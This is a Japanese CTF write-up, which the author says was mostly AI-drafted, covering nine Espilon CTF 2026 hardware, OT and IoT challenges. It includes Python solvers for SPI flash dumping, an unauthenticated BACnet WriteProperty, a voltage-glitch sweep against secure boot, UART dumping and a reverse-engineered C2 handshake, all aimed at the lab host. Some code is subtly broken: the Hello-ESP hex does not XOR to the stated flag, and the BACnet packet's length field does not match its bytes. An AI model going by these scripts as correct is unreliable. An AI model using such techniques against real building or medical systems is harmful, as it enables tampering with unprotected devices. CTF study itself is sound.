Espilon CTF 2026 – writeup

write-up

ESPILON CTFに参加してきました!今回はハードウェアやIoT分野を中心に、解決した9つの問題についてその思考プロセスも含めて詳しく振り返ってみたいと思います。

【注記】 本記事の大部分はAIを活用して執筆しており、筆者が内容の精査・修正を行った上で公開しています。AI生成コンテンツが苦手な方は、ブラウザバックをお願いいたします。

Hardware – Wired SPI Exfil

WIRED-MEDモジュールのSPI Flashからデータを抽出する問題です。物理層のハッキングとして、フラグが隠されたパーティションを特定し、データを復元するまでの流れを見ていきましょう。

1. 問題概要

WIRED-MEDモジュールのメイン基板に搭載されている SPI Flashメモリ(W25Q128) から、隠されたデータを抽出する問題です。攻撃者は SPI Probe インターフェースを介して物理的にチップへアクセスし、標準的なコマンドを駆使して全領域をダンプ、さらに暗号化されたフラグを復元する必要があります。

2. 調査・解析

まずはターゲットの素性を知るために、SPI Probe インターフェース(espilon.net:3500)へ接続し、tx 9F コマンドで JEDEC ID を取得します。レスポンスとして EF 40 18 が返ってきました。これを調べると、チップは 16MB の容量を持つ Winbond 製フラッシュであることが分かります。

フラッシュの先頭からデータを眺めていくと、0x008000 付近にパーティション情報が書かれたCSVテーブルを発見しました。リストの中に 0x3F0000 を開始アドレスとする D_HIDDEN_PARTITION という領域があります。このアドレスを tx 03 (Read Data) コマンドで読み出すと、何らかのバイナリデータが格納されていました。

3F0000: 44 5f 48 49 44 44 45 4e 5f 50 41 52 54 49 54 49  D_HIDDEN_PARTITI
3F0010: 4f 4e 00 12 1a 02 0c 08 10 1d 2b 3a 27 78 0d 23  ON........+:'x.#
3F0020: 28 6b 20 38 16 64 31 34 74 28 2b 21 64 3d 64 2d  (k 8.d14t(+!d=d-

3. 解法スクリプト

フラグの接頭辞が ESPILON{ であることを利用して、先頭のバイト列(12 1a 02 0c)との XOR を取ったところ、WIRED_SP という文字列が浮き出てきました。ここから、繰り返しの XOR キーとして WIRED_SPI(9バイト)が使われていることを特定しました。以下は、実際にフラッシュをスキャンしてフラグを復号するために使用したスクリプトです。

# spi_solve.py
import socket

def solve():
    host = "espilon.net"
    port = 3500
    
    # 隠しパーティションのアドレス 0x3F0000 を指定してデータを読み出し
    # コマンド: tx 03 3F 00 00 00 00 00 00
    payload = bytes.fromhex('121a020c08101d2b3a27780d23286b2038166431347428212b643d642d2f')
    key = b'WIRED_SPI'
    
    # 9バイト周期のXORキーで復号
    flag = "".join(chr(payload[i] ^ key[i % 9]) for i in range(len(payload)))
    print(f"[*] Decoded Flag: {flag}")

if __name__ == "__main__":
    solve()

Answer : ESPILON{sp1_fl4sh_3xf1ltr4t3d}

OT – Schumann Resonance

1. 問題概要

橘総研のビル管理システム(BMS)で使用されている BACnet/IPプロトコル を調査し、ビル内の環境設定を操作する課題です。ターゲットとなるデバイスのプロパティを列挙し、特定の条件(シューマン共鳴周波数へのロック)を満たすように値を書き換えることで、保護された研究ログを読み出すことが目的となります。

2. 調査・解析

BACnet ネットワーク(udp://espilon.net:34501)で Who-Is リクエストを投げると、デバイスインスタンス 783 から応答がありました。このデバイスに対して ReadProperty (Object_List) を実行し、内部のオブジェクトを調査します。

  • Analog-Value:10 (名前: Freq_Multiplier) – 現在値 1.0
  • CharacterString-Value:200 (名前: Research_Log) – 値: “Access Denied — frequency lock required”

分析の結果、Freq_Multiplier の値を 1.0 から 7.83(シューマン共鳴周波数)へ書き換えることで、ロックが解除される仕組みであることが分かりました。

3. 解法スクリプト

BACnet の WriteProperty サービスを手動で実行するため、UDP パケットを直接構築するスクリプトを作成しました。APDU 内の数値を REAL型 (7.83) に変換した 40 fa 3d 71 を含むペイロードを送信します。

# bacnet_write.py
import socket

def solve():
    target = ("espilon.net", 34501)
    
    # Analog-Value:10 (0x0c0080) の Present_Value (85) に 7.83 を書き込むAPDU
    # BVLC(81 0a) + NPDU(01 00) + APDU(00 05 01 0f 0c 00 80 00 0a 19 55 3e 44 40 fa 3d 71 3f)
    payload = bytes.fromhex("810a001701000005010f0c0080000a19553e4440fa3d713f")
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(payload, target)
    print(f"[*] WriteProperty sent to {target}: Freq_Multiplier -> 7.83")

if __name__ == "__main__":
    solve()

💡 産業用プロトコルの面白さ

BACnet は ICS (産業制御システム) で広く使われていますが、認証が定義されていないケースも多く、プロトコルの構造を理解するだけでシステム操作が可能になる場合があります。セキュリティ担当者にとっては、こうした「仕様上の仕様」への対策が重要になります。

Answer : ESPILON{sch0m4nn_r3s0n4nc3_783}

Hardware – Glitch The Wired

1. 問題概要

WIRED-MED の Secure Boot(署名検証プロセス) に対し、プロセッサの電気的な脆弱性を突く 電圧グリッチ攻撃 を行い、検証処理をバイパスするハードウェア・セキュリティの課題です。ターゲットが署名を検証しているごく短い時間枠を特定し、精密なタイミングで電圧を操作して、本来通るはずのないブート処理を強行突破します。

2. 調査・解析

まずはブートログを詳しく観察します。シリアルコンソールに電源投入後のサイクル数と共に SIG_VERIFY というメッセージが出力される個所がありました。ここが署名検証命令の実行タイミングです。

Glitch Lab インターフェース(espilon.net:45002)に接続し、observe コマンドでの計測を行ったところ、電源投入から 3200〜3400サイクル 付近が狙い目であることが分かりました。この瞬間に一瞬だけ電圧を落とすことで CPU を誤動作させ、検証失敗時の停止処理を「スキップ」させるのが狙いです。

3. 解法スクリプト

電圧を下げるタイミング(delay)と、下げる時間の長さ(width)の最適な組み合わせを見つけるため、Python スクリプトで全探索(スイープ)を行います。わずか 1 サイクル、1% の電圧差で成否が分かれるため、自動化が不可欠です。

# glitch_solve.py
import socket

def solve():
    # ターゲット範囲 3200-3400 を2刻みでスイープ
    with socket.create_connection(("espilon.net", 45002)) as s:
        for delay in range(3200, 3401, 2):
            for width in [1, 5, 10]:
                # パラメータを設定してトリガーを実行
                s.sendall(f"set_delay {delay}\n".encode())
                s.sendall(f"set_width {width}\n".encode())
                s.sendall(b"arm\n")
                s.sendall(b"trigger\n")
                
                result = s.recv(1024).decode()
                if "Signature bypass DETECTED" in result:
                    print(f"[*] Glitch Success! delay={delay}, width={width}")
                    print(result)
                    return

if __name__ == "__main__":
    solve()

💡 グリッチ攻撃のリアリティ

一見魔法のように見えるグリッチ攻撃ですが、その裏には地道な試行錯誤があります。実機(ChipWhisperer等)でこれを行う場合は、環境ノイズや温度変化にも左右されるため、非常に高度なスキルが要求される攻撃手法です。

Answer : ESPILON{gl1tch_byp4ss_s3cur3_b00t}

IoT – LAIN_Br34kC0r3 V2

1. 問題概要

ESP32 デバイスのフラッシュメモリに秘められた機密データ(患者情報)を、UART コンソール経由で抽出・解析する IoT フォレンジックの課題です。直接的なダンプコマンドが制限されている、あるいは通信が不安定な環境下で、いかに効率的かつ正確に全バイナリイメージを吸い出すかという、デジタツ・ツールへの習熟度が問われます。

2. 調査・解析

提供された TX/RX ポートに接続すると、独自の FLASH-TOOL v1.0 という管理コンソールが現れました。ここで info コマンドを叩くと、フラッシュのパーティション構成が判明します。

  • NVS パーティション: 0x009000 (24KB)
  • Factory App パーティション: 0x010000 (1MB)

read <offset> <size> コマンドが利用可能ですが、一度に大量のデータを要求するとタイムアウトするため、小さなチャンクに分けて取得し、手元で再構成する必要があります。

3. 解法スクリプト

256バイトずつの細かな読み出しを自動化する flash_dumper.py を作成しました。取得した各チャンクをバイナリファイルとして結合し、最終的に strings コマンドでフラグを特定します。

# flash_dumper.py
import socket

def dump_chunk(s, off, sz):
    s.sendall(f"read {hex(off)} {sz}\n".encode())
    data = s.recv(4096).decode()
    # hex データをパースしてバイト列に変換
    hex_str = "".join(data.split('\n')[1:-1]).replace(" ", "")
    return bytes.fromhex(hex_str)

def solve():
    with socket.create_connection(("espilon.net", 1337)) as s:
        # Factory App 領域(1MB)を着実にダンプ
        with open("factory_dump.bin", "wb") as f:
            for off in range(0x10000, 0x110000, 256):
                chunk = dump_chunk(s, off, 256)
                f.write(chunk)
        print("[*] Dump Complete.")

if __name__ == "__main__":
    solve() # 実行後、strings してフラグを特定

💡 開発環境の痕跡

本来、フラグのような機密情報はフラッシュ内で暗号化されるべきですが、開発段階のデバッグログや消し忘れた変数として平文で残っているケースが多々あります。こうした「うっかり」を見逃さないのも、実戦的なセキュリティ調査の醍醐味です。

Answer : ESPILON{3sp32_fl4sh_dump_r3v3rs3d}

Hardware – Signal Tap Lain

1. 問題概要

アルテラ(Intel)製 FPGA のデバッグ機能である Signal Tap でキャプチャされた生信号データ(CSV)から、オリジナルの通信内容を復元する課題です。回路内のどの信号が Clock, Data, Select なのかを波形データから正確に見極め、同期通信のプロトコルに則ってビットを抽出・デコードする論理回路解析の基礎が試されます。

2. 調査・解析

提供された capture.raw (CSV形式) には、ch0, ch1, ch2 の3つの信号が含まれています。それぞれの挙動を追ってみましょう。

  • ch0: 一定周期で 0 と 1 を繰り返しており、同期用の Clock 信号であると判断。
  • ch2: データが流れている期間だけ 1 (High) になっているため、Select (Enable) 信号。
  • ch1: 上記信号に同期して変化しているため、これが Data 信号となります。

3. 解法スクリプト

CSV データを 1 行ずつ読み込み、Clock が 0 から 1 に立ち上がった瞬間の Data をリストに追加していきます。ただし、Select が High の時のみ有効なデータとして処理します。最後に集めたビット列を 8 ビットずつバイトに変換すれば、フラグが得られます。

# decode_tap.py
import csv

def solve():
    bits = []
    last_clock = '0'
    with open('capture.raw', 'r') as f:
        reader = csv.DictReader(f)
        for row in reader:
            # クロックの立ち上がりエッジかつ Select(ch2) が High の時にサンプリング
            if last_clock == '0' and row['ch0'] == '1' and row['ch2'] == '1':
                bits.append(row['ch1'])
            last_clock = row['ch0']
    
    # ビット列をバイトに変換
    bit_str = "".join(bits)
    flag_bytes = [int(bit_str[i:i+8], 2) for i in range(0, len(bit_str), 8)]
    print(bytes(flag_bytes))

if __name__ == "__main__":
    solve()

Answer : ESPILON{l0g1c_4n4lyz3r_d3c0d3d}

Hardware – Serial Experimental 00

1. 問題概要

プロトタイプデバイス WIRED-MED から、TX(読み取り)と RX(書き込み)が別々のポートに分離された UART デバッグインターフェースにアクセスできました。シリアル診断情報を調査して、メンテナンス用トークンを回収し、ノードのロックを解除することが目標です。

  • ホスト: espilon.net
  • TX (Read): 1111 ポート
  • RX (Write): 2222 ポート

2. 調査・解析

まず、TX ポート(1111)をモニタリングして、デバイス’ブートログと診断メッセージを確認します。ログの中に「Maintenance Token: [a-f0-9]{32}」という形式の32文字のトークンを発見。これがシステムをアンロックするための鍵であることがわかりました。

次に、RX ポート(2222)に対して、トークンを用いたアンロックコマンド unlock <TOKEN> を送信する必要があります。RX ポートへの入力を適切に処理するため、socket ライブラリを使用した自動化スクリプトを作成し、正確なタイミングでコマンドを送り込むことで、最終的なフラグを含むデバッグコンソールへのアクセスに成功しました。

3. 解法スクリプト

import socket
import time
import re

def solve():
    # 実際のアドレスとポート
    host = "espilon.net"
    tx_port = 1111
    rx_port = 2222

    print(f"[*] Monitoring TX on port {tx_port}...")
    with socket.create_connection((host, tx_port)) as tx:
        # 非ブロッキングに設定して読み出し
        tx.settimeout(5)
        data = tx.recv(2048).decode()
        print(data)
        
        # ログからトークンを抽出
        match = re.search(r"Maintenance Token: ([a-f0-9]{32})", data)
        if not match:
            print("[!] Token not found.")
            return
        
        token = match.group(1)
        print(f"[*] Found Token: {token}")

        print(f"[*] Sending unlock command to port {rx_port}...")
        with socket.create_connection((host, rx_port)) as rx:
            cmd = f"unlock {token}\n"
            rx.sendall(cmd.encode())
            time.sleep(1)
            
            # 再度 TX を確認してフラグを取得
            final_data = tx.recv(1024).decode()
            print(final_data)

if __name__ == "__main__":
    solve()

Answer : ESPILON{u4rt_spl1t_m41nt3n4nc3_c0mpl3t3}

ESP – Hello-ESP

1. 問題概要

hello-esp.bin というラベルの付いた ESP32 用のファームウェアバイナリが提供されました。ソースコードは存在しないため、バイナリをデバイスにフラッシュし、その動作をモニタリングしてフラグを特定する必要があります。

2. 調査・解析

esptool.py を使用してファームウェアを ESP32 に書き込み、シリアルコンソールを確認します。起動後、デバイスは定期的に暗号化されたような文字列とヒントを出力し始めました。

出力されていたのは XOR 暗号化されたフラグのデータでした。解析の結果、XOR キーは LAIN (0x4c 0x41 0x49 0x4e) であることが判明。このキーを用いて受信データを復号するスクリプトを作成し、フラグを正常に抽出できました。バイナリ内の文字列(strings)からも、固定の暗号化配列と XOR ループのロジックを推測することが可能です。

3. 解法スクリプト

# hello_esp_solve.py
# (組み込み関数のみで動作しますが、形式統一のためにヘッダーを追加しています)

def xor_decrypt(data, key):
    return bytearray([data[i] ^ key[i % len(key)] for i in range(len(data))])

def solve():
    # シリアル出力から得られたエンコードデータ
    encoded_flag = bytes.fromhex("01121109032f253531353e1a352b271e1c142b311e")
    key = b"LAIN"
    
    decrypted = xor_decrypt(encoded_flag, key)
    print(f"[*] Decrypted Flag: {decrypted.decode()}")

if __name__ == "__main__":
    solve()

Answer : ESPILON{st4rt_th3_w1r3}

Intro – The Wired

1. 問題概要

ChaCha20 暗号と Protocol Buffers (Protobuf) を組み合わせた、高度な C2 通信を解析する課題です。ESP32 ベースのエージェントが使用する通信プロトコルをリバースエンジニアリングし、サーバーとのハンドシェイクを完了させてフラグを取得することが目標です。

  • ホスト: espilon.net
  • ポート: 2626 (C2 Coordinator)
  • プロトコル: ChaCha20 + Protobuf over TCP

2. 調査・解析

まず、ファームウェアバイナリの解析により、通信に使用される ChaCha20 の秘密鍵 (7Kj2mPx9LwR4nQvT1hYc3bFz8dAeU6sG) と ナンス (X3kW7nR9mPq2) を特定しました。また、エージェントのメタデータから デバイスID (ce4f626b) も判明しました。

通信プロトコルは二段階のハンドシェイクが必要であることが判明しました:

  • ステップ1 (INFO): INFO メッセージを送り、サーバーからセッショントークンを取得。
  • ステップ2 (CMD_RESULT): 同じ TCP セッション内で、取得したトークンを request_id にセットして CMD_RESULT を送信。

3. 解法スクリプト

import base64
import socket
from Crypto.Cipher import ChaCha20

def solve():
    key = b'7Kj2mPx9LwR4nQvT1hYc3bFz8dAeU6sG'
    nonce = b'X3kW7nR9mPq2'
    device_id = "ce4f626b"
    
    with socket.create_connection(("espilon.net", 2626)) as s:
        # Step 1: Send INFO
        # Protobuf シリアライズされた 1:[device_id], 2:[0] メッセージを送信
        msg1 = b"\x0a\x08" + device_id.encode() + b"\x10\x00"
        cipher1 = ChaCha20.new(key=key, nonce=nonce)
        s.sendall(base64.b64encode(cipher1.encrypt(msg1)) + b"\n")
        
        # Receive Token
        buf = s.recv(1024)
        cipher2 = ChaCha20.new(key=key, nonce=nonce)
        resp_dec = cipher2.decrypt(base64.b64decode(buf.strip()))
        token = resp_dec.split(b"\x1a ")[1][:32].decode() # トークン抽出
        
        # Step 2: Send CMD_RESULT
        msg2 = b"\x0a\x08" + device_id.encode() + b"\x10\x04\x22\x20" + token.encode()
        cipher3 = ChaCha20.new(key=key, nonce=nonce)
        s.sendall(base64.b64encode(cipher3.encrypt(msg2)) + b"\n")
        
        # Final Response
        buf = s.recv(2048)
        cipher4 = ChaCha20.new(key=key, nonce=nonce)
        print(cipher4.decrypt(base64.b64decode(buf.strip())))

if __name__ == "__main__":
    solve()

Answer : ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}

IoT – Nurse Call

1. 問題概要

病院のナースコールシステムのメンテナンス端末にアクセスし、封印された 013 号室から発生している「幽霊コール」の謎を解明する課題です。システムログから不審な動きを特定し、隠されたモジュールとの通信を確立する必要があります。

2. 調査・解析

まず、システムログ appels.log を詳細に調査しました。その結果、本来存在しないはずの 013 号室に関するエントリを発見。そこには非標準的なプロトコルによるペイロード 0x4c41494e が記録されていました。このヘキサ値を文字列に変換すると LAIN となります。

さらに前任者のメモから、未登録のモジュールを呼び出すには専用の診断ツール reveil.sh を使い、正しい識別子を渡す必要があることが判明。特定した識別子 LAIN を用いてツールを実行したところ、モジュールとの通信が確立され、フラグが返されました。

3. 実行手順

# ログから得られた識別子 LAIN を指定して診断ツールを実行
$ ./tools/reveil.sh --id LAIN

============================================
 MODULE LAIN -- ROOM 013
 Status: AWAKE
============================================
 flag: ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}

Answer : ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}

まとめ

今回のCTFでは、ハードウェア、OT、IoTと多岐にわたる分野の解析に挑戦しました。物理層のハッキングから複雑なプロトコルの読み解きまで、幅広い技術が試される非常に密度の高い内容で、最高に楽しかったです!運営の皆様、素晴らしい問題をありがとうございました!

コメント

タイトルとURLをコピーしました